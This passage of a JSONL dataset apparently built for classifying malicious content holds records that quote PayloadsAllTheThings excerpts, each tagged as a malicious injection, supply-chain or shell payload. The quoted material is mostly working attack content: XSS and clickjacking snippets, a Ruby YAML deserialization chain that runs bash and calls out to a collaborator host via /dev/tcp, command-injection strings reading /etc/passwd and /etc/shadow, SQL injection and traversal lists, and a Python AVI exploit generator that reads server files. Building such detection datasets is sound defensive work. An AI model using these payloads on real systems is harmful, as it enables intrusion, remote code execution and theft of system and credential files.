`echo -n \"alert(document.cookie)\" | base64` == `YWxlcnQoZG9jdW1lbnQuY29va2llKQ==`\n\n## Bypass Parenthesis f", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/1 - XSS Filter Bypass.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00149", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Clickjacking\n\n> Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on \u2018Delete my account' button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [UI Redressing](#ui-redressing)\n    * [Invisible Frames](#invisible-frames)\n    * [Button/Form Hijacking](#buttonform-hijacking)\n    * [Execution Methods](#execution-methods)\n* [Preventive Measures](#preventive-measures)\n    * [Implement X-Frame-Options Header](#implement-x-frame-options-header)\n    * [Content Security Policy (CSP)](#content-security-policy-csp)\n    * [Disabling JavaScript](#disabling-javascript)\n* [OnBeforeUnload Event](#onbeforeunload-event)\n* [XSS Filter](#xss-filter)\n    * [IE8 XSS filter](#ie8-xss-filter)\n    * [Chrome 4.0 XSSAuditor filter](#chrome-40-xssauditor-filter)\n* [Challenge](#challenge)\n* [Labs](#labs)\n* [References](#references)\n\n## Tools\n\n* [portswigger/burp](https://portswigger.net/burp)\n* [zaproxy/zaproxy](https://github.com/zaproxy/zaproxy)\n* [machine1337/clickjack](https://github.com/machine1337/clickjack)\n\n## Methodology\n\n### UI Redressing\n\nUI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application.\nThe transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements,\nthe attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.\n\n* **How UI Redressing Works:**\n    * Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a `<div>`) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like `opacity: 0;`.\n    * Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.\n    * Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.\n    * User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.\n\n```html\n<div style=\"opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;\">\n  <a href=\"malicious-link\">Click me</a>\n</div>\n```\n\n### Invisible Frames\n\nInvisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly.\nThese iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;).\nThe content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.\n\n* **How Invisible Frames Work:**\n    * Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.\n\n      ```html\n      <iframe src=\"malicious-site\" style=\"opacity: 0; height: 0; width: 0; border: none;\"></iframe>\n      ```\n\n    * Loading Malicious Content: The src attribute of the i", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "medium", "explanation": "Clickjacking payload from Clickjacking/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00150", "source": "payloads_all_the_things", "source_license": "MIT", "text": "---\n- !ruby/object:Gem::Installer\n    i: x\n- !ruby/object:Gem::SpecFetcher\n    i: y\n- !ruby/object:Gem::Requirement\n  requirements:\n    !ruby/object:Gem::Package::TarReader\n    io: &1 !ruby/object:Net::BufferedIO\n      io: &1 !ruby/object:Gem::Package::TarReader::Entry\n         read: 0\n         header: \"abc\"\n      debug_output: &1 !ruby/object:Net::WriteAdapter\n         socket: &1 !ruby/object:Gem::RequestSet\n             sets: !ruby/object:Net::WriteAdapter\n                 socket: !ruby/module 'Kernel'\n                 method_id: :system\n             git_set: \"bash -c 'echo 1 > /dev/tcp/`whoami`.`hostname`.wkkib01k9lsnq9qm2pogo10tmksagz.burpcollaborator.net/443'\"\n         method_id: :resolve", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "Insecure deserialization payload from Insecure Deserialization/ruby-serialize.yaml. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00151", "source": "payloads_all_the_things", "source_license": "MIT", "text": "&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;\n&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;\n&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;\n&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;\n/index.html|id|\n\";id;\"\n';id;'\n;id;\n;id\n;netstat -a;\n\"|id|\"\n'|id|'\n|id\n|/usr/bin/id\n|id|\n\"|/usr/bin/id|\"\n'|/usr/bin/id|'\n|/usr/bin/id|\n\"||/usr/bin/id|\"\n'||/usr/bin/id|'\n||/usr/bin/id|\n|id;\n||/usr/bin/id;\n;id|\n;|/usr/bin/id|\n\"\\n/bin/ls -al\\n\"\n'\\n/bin/ls -al\\n'\n\\n/bin/ls -al\\n\n\\n/usr/bin/id\\n\n\\nid\\n\n\\n/usr/bin/id;\n\\nid;\n\\n/usr/bin/id|\n\\nid|\n;/usr/bin/id\\n\n;id\\n\n|usr/bin/id\\n\n|nid\\n\n`id`\n`/usr/bin/id`\na);id\na;id\na);id;\na;id;\na);id|\na;id|\na)|id\na|id\na)|id;\na|id\n|/bin/ls -al\na);/usr/bin/id\na;/usr/bin/id\na);/usr/bin/id;\na;/usr/bin/id;\na);/usr/bin/id|\na;/usr/bin/id|\na)|/usr/bin/id\na|/usr/bin/id\na)|/usr/bin/id;\na|/usr/bin/id\n;system('cat%20/etc/passwd')\n;system('id')\n;system('/usr/bin/id')\n%0Acat%20/etc/passwd\n%0A/usr/bin/id\n%0Aid\n%22%0A/usr/bin/id%0A%22\n%27%0A/usr/bin/id%0A%27\n%0A/usr/bin/id%0A\n%0Aid%0A\n\"& ping -i 30 127.0.0.1 &\"\n'& ping -i 30 127.0.0.1 &'\n& ping -i 30 127.0.0.1 &\n& ping -n 30 127.0.0.1 &\n%0a ping -i 30 127.0.0.1 %0a\n`ping 127.0.0.1`\n| id\n& id\n; id\n%0a id %0a\n`id`\n$;/usr/bin/id\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "OS command injection payload from Command Injection/command-execution-unix.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00152", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Google BigQuery SQL Injection\n\n> Google BigQuery SQL Injection  is a type of security vulnerability where an attacker can execute arbitrary SQL queries on a Google BigQuery database by manipulating user inputs that are incorporated into SQL queries without proper sanitization. This can lead to unauthorized data access, data manipulation, or other malicious activities.\n\n## Summary\n\n* [Detection](#detection)\n* [BigQuery Comment](#bigquery-comment)\n* [BigQuery Union Based](#bigquery-union-based)\n* [BigQuery Error Based](#bigquery-error-based)\n* [BigQuery Boolean Based](#bigquery-boolean-based)\n* [BigQuery Time Based](#bigquery-time-based)\n* [References](#references)\n\n## Detection\n\n* Use a classic single quote to trigger an error: `'`\n* Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...```\n\n| SQL Query                                             | Description |\n| ----------------------------------------------------- | -------------------- |\n| `SELECT @@project_id`                                 | Gathering project id |\n| `SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA` | Gathering all dataset names |\n| `select * from project_id.dataset_name.table_name`    | Gathering data from specific project id & dataset |\n\n## BigQuery Comment\n\n| Type                       | Description                       |\n|----------------------------|-----------------------------------|\n| `#`                        | Hash comment                      |\n| `/* PostgreSQL Comment */` | C-style comment                   |\n\n## BigQuery Union Based\n\n```ps1\nUNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#\ntrue) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#\ntrue) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#\n' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM  (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#\n```\n\n## BigQuery Error Based\n\n| SQL Query                                                | Description          |\n| -------------------------------------------------------- | -------------------- |\n| `' OR if(1/(length((select('a')))-1)=1,true,false) OR '` | Division by zero     |\n| `select CAST(@@project_id AS INT64)`                     | Casting              |\n\n## BigQuery Boolean Based\n\n```ps1\n' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#\n```\n\n## BigQuery Time Based\n\n* Time based functions does not exist in the BigQuery syntax.\n\n## References\n\n* [BigQuery SQL Injection Cheat Sheet - Ozgur Alp - February 14, 2022](https://web.archive.org/web/20260222133721/https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac)\n* [BigQuery Documentation - Query Syntax - October 30, 2024](https://web.archive.org/web/20251109151650/https://cloud.google.com/bigquery/docs/reference/standard-sql/query-syntax)\n* [BigQuery Documentation - Functions and Operators - October 30, 2024](https://web.archive.org/web/20170524193028/https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)\n* [Akamai Web Application Firewall Bypass Journey: Exploiting \u201cGoogle BigQuery\u201d SQL Injection Vulnerability - Duc Nguyen - March 31, 2020](https://web.archive.org/web/20260225150843/https://hackemall.live/index.php/2020/03/31/akamai-web-application-firewall-bypass-journey-exploiting-google-bigquery-sql-injection-vulnerability/)\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/BigQuery Injection.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00153", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Dependency Confusion\n\n> A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [NPM Example](#npm-example)\n* [References](#references)\n\n## Tools\n\n* [visma-prodsec/confused](https://github.com/visma-prodsec/confused) - Tool to check for dependency confusion vulnerabilities in multiple package management systems\n* [synacktiv/DepFuzzer](https://github.com/synacktiv/DepFuzzer) - Tool used to find dependency confusion or project where owner's email can be takeover.\n\n## Methodology\n\nLook for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.\n\n* **DockerHub**: Dockerfile image\n* **JavaScript** (npm): package.json\n* **MVN** (maven): pom.xml\n* **PHP** (composer): composer.json\n* **Python** (pypi): requirements.txt\n\n### NPM Example\n\n* List all the packages (ie: package.json, composer.json, ...)\n* Find the package missing from [www.npmjs.com](https://www.npmjs.com/)\n* Register and create a **public** package with the same name\n    * Package example : [0xsapra/dependency-confusion-expoit](https://github.com/0xsapra/dependency-confusion-expoit)\n\n## References\n\n* [Exploiting Dependency Confusion - Aman Sapra (0xsapra) - 2 Jul 2021](https://web.archive.org/web/20251107024922/https://0xsapra.github.io/website/Exploiting-Dependency-Confusion)\n* [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://web.archive.org/web/20210209181139/https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)\n* [3 Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://web.archive.org/web/20210210121930/https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)\n* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained - 22 f\u00e9vr. 2021](https://web.archive.org/web/20210223060107/https://www.youtube.com/watch?v=zFHJwehpBrU)\n", "findings": [{"category": "malicious", "subcategory": "malicious.supply_chain", "severity": "critical", "explanation": "Dependency confusion attack payload from Dependency Confusion/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00154", "source": "payloads_all_the_things", "source_license": "MIT", "text": "/../{FILE}\n/../../{FILE}\n/../../../{FILE}\n/../../../../{FILE}\n/../../../../../{FILE}\n/../../../../../../{FILE}\n/../../../../../../../{FILE}\n/../../../../../../../../{FILE}\n/..%2f{FILE}\n/..%2f..%2f{FILE}\n/..%2f..%2f..%2f{FILE}\n/..%2f..%2f..%2f..%2f{FILE}\n/..%2f..%2f..%2f..%2f..%2f{FILE}\n/..%2f..%2f..%2f..%2f..%2f..%2f{FILE}\n/..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}\n/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}\n/%2e%2e/{FILE}\n/%2e%2e/%2e%2e/{FILE}\n/%2e%2e/%2e%2e/%2e%2e/{FILE}\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\n/%2e%2e%2f{FILE}\n/%2e%2e%2f%2e%2e%2f{FILE}\n/%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\n/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\n/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\n/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\n/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\n/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\n/..%252f{FILE}\n/..%252f..%252f{FILE}\n/..%252f..%252f..%252f{FILE}\n/..%252f..%252f..%252f..%252f{FILE}\n/..%252f..%252f..%252f..%252f..%252f{FILE}\n/..%252f..%252f..%252f..%252f..%252f..%252f{FILE}\n/..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}\n/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}\n/%252e%252e/{FILE}\n/%252e%252e/%252e%252e/{FILE}\n/%252e%252e/%252e%252e/%252e%252e/{FILE}\n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}\n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}\n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}\n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}\n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}\n/%252e%252e%252f{FILE}\n/%252e%252e%252f%252e%252e%252f{FILE}\n/%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}\n/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}\n/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}\n/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}\n/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}\n/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}\n/..\\{FILE}\n/..\\..\\{FILE}\n/..\\..\\..\\{FILE}\n/..\\..\\..\\..\\{FILE}\n/..\\..\\..\\..\\..\\{FILE}\n/..\\..\\..\\..\\..\\..\\{FILE}\n/..\\..\\..\\..\\..\\..\\..\\{FILE}\n/..\\..\\..\\..\\..\\..\\..\\..\\{FILE}\n/..%255c{FILE}\n/..%255c..%255c{FILE}\n/..%255c..%255c..%255c{FILE}\n/..%255c..%255c..%255c..%255c{FILE}\n/..%255c..%255c..%255c..%255c..%255c{FILE}\n/..%255c..%255c..%255c..%255c..%255c..%255c{FILE}\n/..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}\n/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}\n/..%5c..%5c{FILE}\n/..%5c..%5c..%5c{FILE}\n/..%5c..%5c..%5c..%5c{FILE}\n/..%5c..%5c..%5c..%5c..%5c{FILE}\n/..%5c..%5c..%5c..%5c..%5c..%5c{FILE}\n/..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}\n/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}\n/%2e%2e\\{FILE}\n/%2e%2e\\%2e%2e\\{FILE}\n/%2e%2e\\%2e%2e\\%2e%2e\\{FILE}\n/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}\n/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}\n/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}\n/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}\n/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}\n/%2e%2e%5c{FILE}\n/%2e%2e%5c%2e%2e%5c{FILE}\n/%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\n/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\n/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\n/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\n/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\n/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\n/%252e%252e\\{FILE}\n/%252e%252e\\%252e%252e\\{FILE}\n/%252e%252e\\%252e%252e\\%252e", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Directory traversal payload from Directory Traversal/traversals-8-deep-exotic-encoding.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00155", "source": "payloads_all_the_things", "source_license": "MIT", "text": "import struct\nimport argparse\n\nAVI_HEADER = b\"RIFF\\x00\\x00\\x00\\x00AVI LIST\\x14\\x01\\x00\\x00hdrlavih8\\x00\\x00\\x00@\\x9c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00}\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe0\\x00\\x00\\x00\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00LISTt\\x00\\x00\\x00strlstrh8\\x00\\x00\\x00txts\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\\x00\\x00\\x00\\x86\\x03\\x00\\x00\\x10'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe0\\x00\\xa0\\x00strf(\\x00\\x00\\x00(\\x00\\x00\\x00\\xe0\\x00\\x00\\x00\\xa0\\x00\\x00\\x00\\x01\\x00\\x18\\x00XVID\\x00H\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00LIST    movi\"\n\n\ndef make_txt_packet(content, fake_packets=50, fake_packet_len=200):\n    content = b'GAB2\\x00\\x02\\x00' + b'\\x00' * 10 + content\n    packet = b'00tx' + struct.pack('<I', len(content)) + content\n    dcpkt = b'00dc' + struct.pack('<I', fake_packet_len) + b'\\x00' * fake_packet_len\n    return packet + dcpkt * fake_packets\n\nTXT_PLAYLIST = \"\"\"#EXTM3U\n#EXT-X-MEDIA-SEQUENCE:0\n#EXTINF:1.0,\n#EXT-X-BYTERANGE: 0\n{txt}\n#EXTINF:1.0,\n{file}\n#EXT-X-ENDLIST\"\"\"\n\ndef prepare_txt_packet(txt, filename):\n    return make_txt_packet(TXT_PLAYLIST.format(txt=txt, file=filename).encode())\n\n# TXT_LIST = ['/usr/share/doc/gnupg/Upgrading_From_PGP.txt', '/usr/share/doc/mount/mount.txt', '/etc/pki/nssdb/pkcs11.txt', '/usr/share/gnupg/help.txt']\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser('HLS AVI TXT exploit generator')\n    parser.add_argument('filename', help='file that should be read from conversion instance')\n    parser.add_argument('output_avi', help='where to save the avi')\n    parser.add_argument('--txt', help='any .txt file that exist on target system', default='GOD.txt')\n    args = parser.parse_args()\n    avi = AVI_HEADER + prepare_txt_packet(args.txt, args.filename)\n    output_name = args.output_avi\n\n    with open(output_name, 'wb') as f:\n        f.write(avi)\n\n", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/gen_avi_bypass.py. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00156", "source": "payloads_all_the_things", "source_license": "MIT", "text": " ORDER BY SLEEP(5)\n ORDER BY 1,SLEEP(5)\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30\n ORDER BY SLEEP(5)#\n ORDER BY 1,SLEEP(5)#\n ORDER BY 1,SLEEP(5),3#\n ORDER BY 1,SLEEP(5),3,4#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#\n ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/Generic_UnionSelect.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00157", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# .htaccess\n\nUploading an .htaccess file to override Apache rule and execute PHP.\n\"Hackers can also use \u201c.htaccess\u201d file tricks to upload a malicious file with any extension and execute it. For a simple example, imagine uploading to the vulnerable server an .htaccess file that has AddType application/x-httpd-php .htaccess configuration and also contains PHP shellcode. Because of the malicious .htaccess file, the web server considers the .htaccess file as an executable php file and executes its malicious PHP shellcode. One thing to note: .htaccess configurations are applicable only for the same directory and sub-directories where the .htaccess file is uploaded.\"\n\n## Summary\n\n* [AddType Directive](#addtype-directive)\n* [Self Contained .htaccess](#self-contained-htaccess)\n* [Polyglot 